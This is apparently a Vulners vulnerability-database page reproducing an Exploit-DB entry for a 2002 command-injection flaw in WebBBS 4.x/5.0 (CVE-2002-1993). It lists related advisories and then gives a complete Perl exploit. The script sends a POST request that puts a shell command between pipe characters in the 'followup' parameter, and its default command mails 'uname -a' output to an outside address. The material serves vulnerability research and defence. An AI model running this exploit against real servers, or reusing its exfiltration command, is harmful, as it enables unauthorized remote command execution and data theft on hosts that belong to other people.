Lucene search
+L

WebScripts WebBBS 4.x/5.0 - Remote Command Execution

🗓️ 06 Jun 2002 00:00:00Reported by NERF SecurityType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 34 Views

WebBBS allows remote command execution due to insufficient filtering of CGI parameters.

Related
Code
ReporterTitlePublishedViews
Family
checkpoint_advisories
Check Point Advisories
WebBBS webbbs_config.pl followup Parameter Command Execution - Ver2 (CVE-2002-1993)
7 Jan 201400:00
checkpoint_advisories
checkpoint_advisories
Check Point Advisories
WebBBS webbbs_config.pl followup Parameter Command Execution - Ver2 (CVE-2002-1993)
3 Feb 201400:00
checkpoint_advisories
cve
CVE
CVE-2002-1993
14 Jul 200504:00
cve
cvelist
Cvelist
CVE-2002-1993
14 Jul 200504:00
cvelist
euvd
EUVD
EUVD-2002-1972
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-1993
31 Dec 200205:00
nvd
redhatcve
RedhatCVE
CVE-2002-1993
21 May 202520:29
redhatcve
source: https://www.securityfocus.com/bid/5048/info

WebBBS does not sufficiently filter shell metacharacters from CGI parameters. As a result, remote attackers may execute arbitrary commands on the underlying shell of the system hosting the vulnerable software.

Remote attackers may gain local, interactive access to the host with the privileges of the webserver process as a result of successful exploitation.

#!/usr/bin/perl
#
#  nerF gr0up
#
#  exploit code for
#  WebBBS by Darryl C. Burgdorf
#  all version up to 5.00 are vulnerable
#
#
#  this is an exploitation of "followup" bug.
#  it allows remote attacker to execute shell
commands.
#  you can find WebBBS script at
http://awsd.com/scripts/webbbs/
#
#  06.06.2002
#  btr // nerf
# nerf.ru

use IO::Socket;

        srand();
        $script = "/cgi-bin/webbbs/webbbs_config.pl";
        $command = "uname -a|mail [email protected]";
        $host = "localhost";
        $port = 80;

        $content = "$content" . "name=" . rand(254);
        $content = "$content" . "&email=" . rand(254);
        $content = "$content" . "&subject=" .
rand(254);
        $content = "$content" . "&body=" . rand(254);

$content="$content"."&followup=".rand(254)."|$command|";

        $content_length = length($content);
        $content_type =
"application/x-www-form-urlencoded";

        if (@ARGV[0]) {$command=@ARGV[0];}
        if (@ARGV[1]) {$host=@ARGV[1];}
        if (@ARGV[2]) {$script=@ARGV[2];}

        $buf = "POST " . "$script" . "?post
HTTP/1.0\n";
        $buf = "$buf" . "Content-Type:
$content_type\r\nContent-Length:";
        $buf = "$buf" .
"$content_length\r\n\r\n$content", 0;

        print "\tnerF gr0up\n";
        print "exploit: WebBBS (awsd.com), version up
to 5.00\n";

        print "sent:\n$buf\n";

if($socket = IO::Socket::INET->new("$host:$port")){

        print $socket "$buf";
        read($socket,$buf,1500);
        print "recieved:\n$buf\n";
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.11885
34